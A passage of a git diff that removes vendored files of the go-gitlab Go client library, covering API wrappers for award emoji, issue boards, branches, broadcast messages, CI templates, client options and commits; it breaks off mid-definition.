DeleteMergeRequestAwardEmojiOnNote deletes an award emoji on a note from a -// merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#award-emoji-on-notes -func (s *AwardEmojiService) DeleteMergeRequestAwardEmojiOnNote(pid interface{}, mergeRequestIID, noteID, awardID int, options ...RequestOptionFunc) (*Response, error) { - return s.deleteAwardEmojiOnNote(pid, awardMergeRequest, mergeRequestIID, noteID, awardID, - options...) -} - -// DeleteSnippetAwardEmojiOnNote deletes an award emoji on a note from a snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/award_emoji.html#award-emoji-on-notes -func (s *AwardEmojiService) DeleteSnippetAwardEmojiOnNote(pid interface{}, snippetIID, noteID, awardID int, options ...RequestOptionFunc) (*Response, error) { - return s.deleteAwardEmojiOnNote(pid, awardSnippets, snippetIID, noteID, awardID, options...) -} - -func (s *AwardEmojiService) deleteAwardEmojiOnNote(pid interface{}, resource string, resourceID, noteID, awardID int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/%s/%d/notes/%d/award_emoji/%d", - pathEscape(project), - resource, - resourceID, - noteID, - awardID, - ) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/boards.go b/vendor/github.com/xanzy/go-gitlab/boards.go deleted file mode 100644 index eed377c8dd..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/boards.go +++ /dev/null @@ -1,344 +0,0 @@ -// -// Copyright 2015, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" -) - -// IssueBoardsService handles communication with the issue board related -// methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/boards.html -type IssueBoardsService struct { - client *Client -} - -// IssueBoard represents a GitLab issue board. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/boards.html -type IssueBoard struct { - ID int `json:"id"` - Name string `json:"name"` - Project *Project `json:"project"` - Milestone *Milestone `json:"milestone"` - Lists []*BoardList `json:"lists"` -} - -func (b IssueBoard) String() string { - return Stringify(b) -} - -// BoardList represents a GitLab board list. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/boards.html -type BoardList struct { - ID int `json:"id"` - Label *Label `json:"label"` - Position int `json:"position"` -} - -func (b BoardList) String() string { - return Stringify(b) -} - -// CreateIssueBoardOptions represents the available CreateIssueBoard() options. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/boards.html#create-a-board-starter -type CreateIssueBoardOptions struct { - Name *string `url:"name" json:"name"` -} - -// CreateIssueBoard creates a new issue board. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/boards.html#create-a-board-starter -func (s *IssueBoardsService) CreateIssueBoard(pid interface{}, opt *CreateIssueBoardOptions, options ...RequestOptionFunc) (*IssueBoard, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/boards", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - board := new(IssueBoard) - resp, err := s.client.Do(req, board) - if err != nil { - return nil, resp, err - } - - return board, resp, err -} - -// UpdateIssueBoardOptions represents the available UpdateIssueBoard() options. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/boards.html#update-a-board-starter -type UpdateIssueBoardOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - AssigneeID *int `url:"assignee_id,omitempty" json:"assignee_id,omitempty"` - MilestoneID *int `url:"milestone_id,omitempty" json:"milestone_id,omitempty"` - Labels Labels `url:"labels,omitempty" json:"labels,omitempty"` - Weight *int `url:"weight,omitempty" json:"weight,omitempty"` -} - -// UpdateIssueBoard update an issue board. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/boards.html#create-a-board-starter -func (s *IssueBoardsService) UpdateIssueBoard(pid interface{}, board int, opt *UpdateIssueBoardOptions, options ...RequestOptionFunc) (*IssueBoard, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/boards/%d", pathEscape(project), board) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - is := new(IssueBoard) - resp, err := s.client.Do(req, is) - if err != nil { - return nil, resp, err - } - - return is, resp, err -} - -// DeleteIssueBoard deletes an issue board. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/boards.html#delete-a-board-starter -func (s *IssueBoardsService) DeleteIssueBoard(pid interface{}, board int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/boards/%d", pathEscape(project), board) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ListIssueBoardsOptions represents the available ListIssueBoards() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/boards.html#project-board -type ListIssueBoardsOptions ListOptions - -// ListIssueBoards gets a list of all issue boards in a project. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/boards.html#project-board -func (s *IssueBoardsService) ListIssueBoards(pid interface{}, opt *ListIssueBoardsOptions, options ...RequestOptionFunc) ([]*IssueBoard, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/boards", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var is []*IssueBoard - resp, err := s.client.Do(req, &is) - if err != nil { - return nil, resp, err - } - - return is, resp, err -} - -// GetIssueBoard gets a single issue board of a project. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/boards.html#single-board -func (s *IssueBoardsService) GetIssueBoard(pid interface{}, board int, options ...RequestOptionFunc) (*IssueBoard, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/boards/%d", pathEscape(project), board) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - ib := new(IssueBoard) - resp, err := s.client.Do(req, ib) - if err != nil { - return nil, resp, err - } - - return ib, resp, err -} - -// GetIssueBoardListsOptions represents the available GetIssueBoardLists() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/boards.html#list-board-lists -type GetIssueBoardListsOptions ListOptions - -// GetIssueBoardLists gets a list of the issue board's lists. Does not include -// backlog and closed lists. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/boards.html#list-board-lists -func (s *IssueBoardsService) GetIssueBoardLists(pid interface{}, board int, opt *GetIssueBoardListsOptions, options ...RequestOptionFunc) ([]*BoardList, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/boards/%d/lists", pathEscape(project), board) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var bl []*BoardList - resp, err := s.client.Do(req, &bl) - if err != nil { - return nil, resp, err - } - - return bl, resp, err -} - -// GetIssueBoardList gets a single issue board list. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/boards.html#single-board-list -func (s *IssueBoardsService) GetIssueBoardList(pid interface{}, board, list int, options ...RequestOptionFunc) (*BoardList, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/boards/%d/lists/%d", - pathEscape(project), - board, - list, - ) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - bl := new(BoardList) - resp, err := s.client.Do(req, bl) - if err != nil { - return nil, resp, err - } - - return bl, resp, err -} - -// CreateIssueBoardListOptions represents the available CreateIssueBoardList() -// options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/boards.html#new-board-list -type CreateIssueBoardListOptions struct { - LabelID *int `url:"label_id" json:"label_id"` -} - -// CreateIssueBoardList creates a new issue board list. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/boards.html#new-board-list -func (s *IssueBoardsService) CreateIssueBoardList(pid interface{}, board int, opt *CreateIssueBoardListOptions, options ...RequestOptionFunc) (*BoardList, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/boards/%d/lists", pathEscape(project), board) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - bl := new(BoardList) - resp, err := s.client.Do(req, bl) - if err != nil { - return nil, resp, err - } - - return bl, resp, err -} - -// UpdateIssueBoardListOptions represents the available UpdateIssueBoardList() -// options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/boards.html#edit-board-list -type UpdateIssueBoardListOptions struct { - Position *int `url:"position" json:"position"` -} - -// UpdateIssueBoardList updates the position of an existing issue board list. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/boards.html#edit-board-list -func (s *IssueBoardsService) UpdateIssueBoardList(pid interface{}, board, list int, opt *UpdateIssueBoardListOptions, options ...RequestOptionFunc) (*BoardList, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/boards/%d/lists/%d", - pathEscape(project), - board, - list, - ) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - bl := new(BoardList) - resp, err := s.client.Do(req, bl) - if err != nil { - return nil, resp, err - } - - return bl, resp, err -} - -// DeleteIssueBoardList soft deletes an issue board list. Only for admins and -// project owners. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/boards.html#delete-a-board-list -func (s *IssueBoardsService) DeleteIssueBoardList(pid interface{}, board, list int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/boards/%d/lists/%d", - pathEscape(project), - board, - list, - ) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/branches.go b/vendor/github.com/xanzy/go-gitlab/branches.go deleted file mode 100644 index df5facd7dc..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/branches.go +++ /dev/null @@ -1,244 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "net/url" -) - -// BranchesService handles communication with the branch related methods -// of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/branches.html -type BranchesService struct { - client *Client -} - -// Branch represents a GitLab branch. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/branches.html -type Branch struct { - Commit *Commit `json:"commit"` - Name string `json:"name"` - Protected bool `json:"protected"` - Merged bool `json:"merged"` - Default bool `json:"default"` - CanPush bool `json:"can_push"` - DevelopersCanPush bool `json:"developers_can_push"` - DevelopersCanMerge bool `json:"developers_can_merge"` - WebURL string `json:"web_url"` -} - -func (b Branch) String() string { - return Stringify(b) -} - -// ListBranchesOptions represents the available ListBranches() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/branches.html#list-repository-branches -type ListBranchesOptions struct { - ListOptions - Search *string `url:"search,omitempty" json:"search,omitempty"` -} - -// ListBranches gets a list of repository branches from a project, sorted by -// name alphabetically. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/branches.html#list-repository-branches -func (s *BranchesService) ListBranches(pid interface{}, opts *ListBranchesOptions, options ...RequestOptionFunc) ([]*Branch, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/branches", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opts, options) - if err != nil { - return nil, nil, err - } - - var b []*Branch - resp, err := s.client.Do(req, &b) - if err != nil { - return nil, resp, err - } - - return b, resp, err -} - -// GetBranch gets a single project repository branch. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/branches.html#get-single-repository-branch -func (s *BranchesService) GetBranch(pid interface{}, branch string, options ...RequestOptionFunc) (*Branch, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/branches/%s", pathEscape(project), url.PathEscape(branch)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - b := new(Branch) - resp, err := s.client.Do(req, b) - if err != nil { - return nil, resp, err - } - - return b, resp, err -} - -// ProtectBranchOptions represents the available ProtectBranch() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/branches.html#protect-repository-branch -type ProtectBranchOptions struct { - DevelopersCanPush *bool `url:"developers_can_push,omitempty" json:"developers_can_push,omitempty"` - DevelopersCanMerge *bool `url:"developers_can_merge,omitempty" json:"developers_can_merge,omitempty"` -} - -// ProtectBranch protects a single project repository branch. This is an -// idempotent function, protecting an already protected repository branch -// still returns a 200 OK status code. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/branches.html#protect-repository-branch -func (s *BranchesService) ProtectBranch(pid interface{}, branch string, opts *ProtectBranchOptions, options ...RequestOptionFunc) (*Branch, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/branches/%s/protect", pathEscape(project), url.PathEscape(branch)) - - req, err := s.client.NewRequest("PUT", u, opts, options) - if err != nil { - return nil, nil, err - } - - b := new(Branch) - resp, err := s.client.Do(req, b) - if err != nil { - return nil, resp, err - } - - return b, resp, err -} - -// UnprotectBranch unprotects a single project repository branch. This is an -// idempotent function, unprotecting an already unprotected repository branch -// still returns a 200 OK status code. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/branches.html#unprotect-repository-branch -func (s *BranchesService) UnprotectBranch(pid interface{}, branch string, options ...RequestOptionFunc) (*Branch, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/branches/%s/unprotect", pathEscape(project), url.PathEscape(branch)) - - req, err := s.client.NewRequest("PUT", u, nil, options) - if err != nil { - return nil, nil, err - } - - b := new(Branch) - resp, err := s.client.Do(req, b) - if err != nil { - return nil, resp, err - } - - return b, resp, err -} - -// CreateBranchOptions represents the available CreateBranch() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/branches.html#create-repository-branch -type CreateBranchOptions struct { - Branch *string `url:"branch,omitempty" json:"branch,omitempty"` - Ref *string `url:"ref,omitempty" json:"ref,omitempty"` -} - -// CreateBranch creates branch from commit SHA or existing branch. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/branches.html#create-repository-branch -func (s *BranchesService) CreateBranch(pid interface{}, opt *CreateBranchOptions, options ...RequestOptionFunc) (*Branch, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/branches", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - b := new(Branch) - resp, err := s.client.Do(req, b) - if err != nil { - return nil, resp, err - } - - return b, resp, err -} - -// DeleteBranch deletes an existing branch. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/branches.html#delete-repository-branch -func (s *BranchesService) DeleteBranch(pid interface{}, branch string, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/repository/branches/%s", pathEscape(project), url.PathEscape(branch)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// DeleteMergedBranches deletes all branches that are merged into the project's default branch. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/branches.html#delete-merged-branches -func (s *BranchesService) DeleteMergedBranches(pid interface{}, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/repository/merged_branches", pathEscape(project)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/broadcast_messages.go b/vendor/github.com/xanzy/go-gitlab/broadcast_messages.go deleted file mode 100644 index 08247103fb..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/broadcast_messages.go +++ /dev/null @@ -1,172 +0,0 @@ -// -// Copyright 2018, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// BroadcastMessagesService handles communication with the broadcast -// messages methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/broadcast_messages.html -type BroadcastMessagesService struct { - client *Client -} - -// BroadcastMessage represents a GitLab issue board. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/broadcast_messages.html#get-all-broadcast-messages -type BroadcastMessage struct { - Message string `json:"message"` - StartsAt *time.Time `json:"starts_at"` - EndsAt *time.Time `json:"ends_at"` - Color string `json:"color"` - Font string `json:"font"` - ID int `json:"id"` - Active bool `json:"active"` -} - -// ListBroadcastMessagesOptions represents the available ListBroadcastMessages() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/broadcast_messages.html#get-all-broadcast-messages -type ListBroadcastMessagesOptions ListOptions - -// ListBroadcastMessages gets a list of all broadcasted messages. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/broadcast_messages.html#get-all-broadcast-messages -func (s *BroadcastMessagesService) ListBroadcastMessages(opt *ListBroadcastMessagesOptions, options ...RequestOptionFunc) ([]*BroadcastMessage, *Response, error) { - req, err := s.client.NewRequest("GET", "broadcast_messages", opt, options) - if err != nil { - return nil, nil, err - } - - var bs []*BroadcastMessage - resp, err := s.client.Do(req, &bs) - if err != nil { - return nil, resp, err - } - - return bs, resp, err -} - -// GetBroadcastMessage gets a single broadcast message. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/broadcast_messages.html#get-a-specific-broadcast-message -func (s *BroadcastMessagesService) GetBroadcastMessage(broadcast int, options ...RequestOptionFunc) (*BroadcastMessage, *Response, error) { - u := fmt.Sprintf("broadcast_messages/%d", broadcast) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - b := new(BroadcastMessage) - resp, err := s.client.Do(req, &b) - if err != nil { - return nil, resp, err - } - - return b, resp, err -} - -// CreateBroadcastMessageOptions represents the available CreateBroadcastMessage() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/broadcast_messages.html#create-a-broadcast-message -type CreateBroadcastMessageOptions struct { - Message *string `url:"message" json:"message"` - StartsAt *time.Time `url:"starts_at,omitempty" json:"starts_at,omitempty"` - EndsAt *time.Time `url:"ends_at,omitempty" json:"ends_at,omitempty"` - Color *string `url:"color,omitempty" json:"color,omitempty"` - Font *string `url:"font,omitempty" json:"font,omitempty"` -} - -// CreateBroadcastMessage creates a message to broadcast. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/broadcast_messages.html#create-a-broadcast-message -func (s *BroadcastMessagesService) CreateBroadcastMessage(opt *CreateBroadcastMessageOptions, options ...RequestOptionFunc) (*BroadcastMessage, *Response, error) { - req, err := s.client.NewRequest("POST", "broadcast_messages", opt, options) - if err != nil { - return nil, nil, err - } - - b := new(BroadcastMessage) - resp, err := s.client.Do(req, &b) - if err != nil { - return nil, resp, err - } - - return b, resp, err -} - -// UpdateBroadcastMessageOptions represents the available CreateBroadcastMessage() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/broadcast_messages.html#update-a-broadcast-message -type UpdateBroadcastMessageOptions struct { - Message *string `url:"message,omitempty" json:"message,omitempty"` - StartsAt *time.Time `url:"starts_at,omitempty" json:"starts_at,omitempty"` - EndsAt *time.Time `url:"ends_at,omitempty" json:"ends_at,omitempty"` - Color *string `url:"color,omitempty" json:"color,omitempty"` - Font *string `url:"font,omitempty" json:"font,omitempty"` -} - -// UpdateBroadcastMessage update a broadcasted message. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/broadcast_messages.html#update-a-broadcast-message -func (s *BroadcastMessagesService) UpdateBroadcastMessage(broadcast int, opt *UpdateBroadcastMessageOptions, options ...RequestOptionFunc) (*BroadcastMessage, *Response, error) { - u := fmt.Sprintf("broadcast_messages/%d", broadcast) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - b := new(BroadcastMessage) - resp, err := s.client.Do(req, &b) - if err != nil { - return nil, resp, err - } - - return b, resp, err -} - -// DeleteBroadcastMessage deletes a broadcasted message. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/broadcast_messages.html#delete-a-broadcast-message -func (s *BroadcastMessagesService) DeleteBroadcastMessage(broadcast int, options ...RequestOptionFunc) (*Response, error) { - u := fmt.Sprintf("broadcast_messages/%d", broadcast) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/ci_yml_templates.go b/vendor/github.com/xanzy/go-gitlab/ci_yml_templates.go deleted file mode 100644 index 1f5ca5ccc5..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/ci_yml_templates.go +++ /dev/null @@ -1,69 +0,0 @@ -package gitlab - -import ( - "fmt" -) - -// CIYMLTemplatesService handles communication with the gitlab -// CI YML templates related methods of the GitLab API. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/templates/gitlab_ci_ymls.html -type CIYMLTemplatesService struct { - client *Client -} - -// CIYMLTemplate represents a GitLab CI YML template. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/templates/gitlab_ci_ymls.html -type CIYMLTemplate struct { - Name string `json:"name"` - Content string `json:"content"` -} - -// ListCIYMLTemplatesOptions represents the available ListAllTemplates() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/templates/gitignores.html#list-gitignore-templates -type ListCIYMLTemplatesOptions ListOptions - -// ListAllTemplates get all GitLab CI YML templates. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/templates/gitlab_ci_ymls.html#list-gitlab-ci-yml-templates -func (s *CIYMLTemplatesService) ListAllTemplates(opt *ListCIYMLTemplatesOptions, options ...RequestOptionFunc) ([]*CIYMLTemplate, *Response, error) { - req, err := s.client.NewRequest("GET", "templates/gitlab_ci_ymls", opt, options) - if err != nil { - return nil, nil, err - } - - var cts []*CIYMLTemplate - resp, err := s.client.Do(req, &cts) - if err != nil { - return nil, resp, err - } - - return cts, resp, err -} - -// GetTemplate get a single GitLab CI YML template. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/templates/gitlab_ci_ymls.html#single-gitlab-ci-yml-template -func (s *CIYMLTemplatesService) GetTemplate(key string, options ...RequestOptionFunc) (*CIYMLTemplate, *Response, error) { - u := fmt.Sprintf("templates/gitlab_ci_ymls/%s", pathEscape(key)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - ct := new(CIYMLTemplate) - resp, err := s.client.Do(req, ct) - if err != nil { - return nil, resp, err - } - - return ct, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/client_options.go b/vendor/github.com/xanzy/go-gitlab/client_options.go deleted file mode 100644 index dfc4089797..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/client_options.go +++ /dev/null @@ -1,49 +0,0 @@ -package gitlab - -import ( - "net/http" - - retryablehttp "github.com/hashicorp/go-retryablehttp" -) - -// ClientOptionFunc can be used customize a new GitLab API client. -type ClientOptionFunc func(*Client) error - -// WithBaseURL sets the base URL for API requests to a custom endpoint. -func WithBaseURL(urlStr string) ClientOptionFunc { - return func(c *Client) error { - return c.setBaseURL(urlStr) - } -} - -// WithCustomBackoff can be used to configure a custom backoff policy. -func WithCustomBackoff(backoff retryablehttp.Backoff) ClientOptionFunc { - return func(c *Client) error { - c.client.Backoff = backoff - return nil - } -} - -// WithCustomRetry can be used to configure a custom retry policy. -func WithCustomRetry(checkRetry retryablehttp.CheckRetry) ClientOptionFunc { - return func(c *Client) error { - c.client.CheckRetry = checkRetry - return nil - } -} - -// WithHTTPClient can be used to configure a custom HTTP client. -func WithHTTPClient(httpClient *http.Client) ClientOptionFunc { - return func(c *Client) error { - c.client.HTTPClient = httpClient - return nil - } -} - -// WithoutRetries disables the default retry logic. -func WithoutRetries() ClientOptionFunc { - return func(c *Client) error { - c.disableRetries = true - return nil - } -} diff --git a/vendor/github.com/xanzy/go-gitlab/commits.go b/vendor/github.com/xanzy/go-gitlab/commits.go deleted file mode 100644 index f9c6f8c9a0..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/commits.go +++ /dev/null @@ -1,597 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "net/url" - "time" -) - -// CommitsService handles communication with the commit related methods -// of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/commits.html -type CommitsService struct { - client *Client -} - -// Commit represents a GitLab commit. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/commits.html -type Commit struct { - ID string `json:"id"` - ShortID string `json:"short_id"` - Title string `json:"title"` - AuthorName string `json:"author_name"` - AuthorEmail string `json:"author_email"` - AuthoredDate *time.Time `json:"authored_date"` - CommitterName string `json:"committer_name"` - CommitterEmail string `json:"committer_email"` - CommittedDate *time.Time `json:"committed_date"` - CreatedAt *time.Time `json:"created_at"` - Message string `json:"message"` - ParentIDs []string `json:"parent_ids"` - Stats *CommitStats `json:"stats"` - Status *BuildStateValue `json:"status"` - LastPipeline *PipelineInfo `json:"last_pipeline"` - ProjectID int `json:"project_id"` - WebURL string `json:"web_url"` -} - -// CommitStats represents the number of added and deleted files in a commit. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/commits.html -type CommitStats struct { - Additions int `json:"additions"` - Deletions int `json:"deletions"` - Total int `json:"total"` -} - -func (c Commit) String() string { - return Stringify(c) -} - -// ListCommitsOptions represents the available ListCommits() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/commits.html#list-repository-commits -type ListCommitsOptions struct { - ListOptions - RefName *string `url:"ref_name,omitempty" json:"ref_name,omitempty"` - Since *time.Time `url:"since,omitempty" json:"since,omitempty"` - Until *time.Time `url:"until,omitempty" json:"until,omitempty"` - Path *string `url:"path,omitempty" json:"path,omitempty"` - All *bool `url:"all,omitempty" json:"all,omitempty"` - WithStats *bool `url:"with_stats,omitempty" json:"with_stats,omitempty"` - FirstParent *bool `url:"first_parent,omitempty" json:"first_parent,omitempty"` -} - -// ListCommits gets a list of repository commits in a project. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/commits.html#list-commits -func (s *CommitsService) ListCommits(pid interface{}, opt *ListCommitsOptions, options ...RequestOptionFunc) ([]*Commit, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/commits", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var c []*Commit - resp, err := s.client.Do(req, &c) - if err != nil { - return nil, resp, err - } - - return c, resp, err -} - -// FileAction represents the available actions that can be performed on a file. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/commits.html#create-a-commit-with-multiple-files-and-actions -type FileAction string - -// The available file actions. -const ( - FileCreate FileAction = "create" - FileDelete FileAction = "delete" - FileMove FileAction = "move" - FileUpdate FileAction = "update" -) - -// CommitAction represents a single file action within a commit. -type CommitAction struct { - Action FileAction `url:"action" json:"action"` - FilePath string `url:"file_path" json:"file_path"` - PreviousPath string `url:"previous_path,omitempty" json:"previous_path,omitempty"` - Content string `url:"content,omitempty" json:"content,omitempty"` - Encoding string `url:"encoding,omitempty" json:"encoding,omitempty"` - LastCommitID string `url:"last_commit_id,omitempty" json:"last_commit_id,omitempty"` - ExecuteFilemode bool `url:"execute_filemode,omitempty" json:"execute_filemode,omitempty"` -} - -// CommitRef represents the reference of branches/tags in a commit. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/commits.html#get-references-a-commit-is-pushed-to -type CommitRef struct { - Type string `json:"type"` - Name string `json:"name"` -} - -// GetCommitRefsOptions represents the available GetCommitRefs() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/commits.html#get-references-a-commit-is-pushed-to -type GetCommitRefsOptions struct { - ListOptions - Type 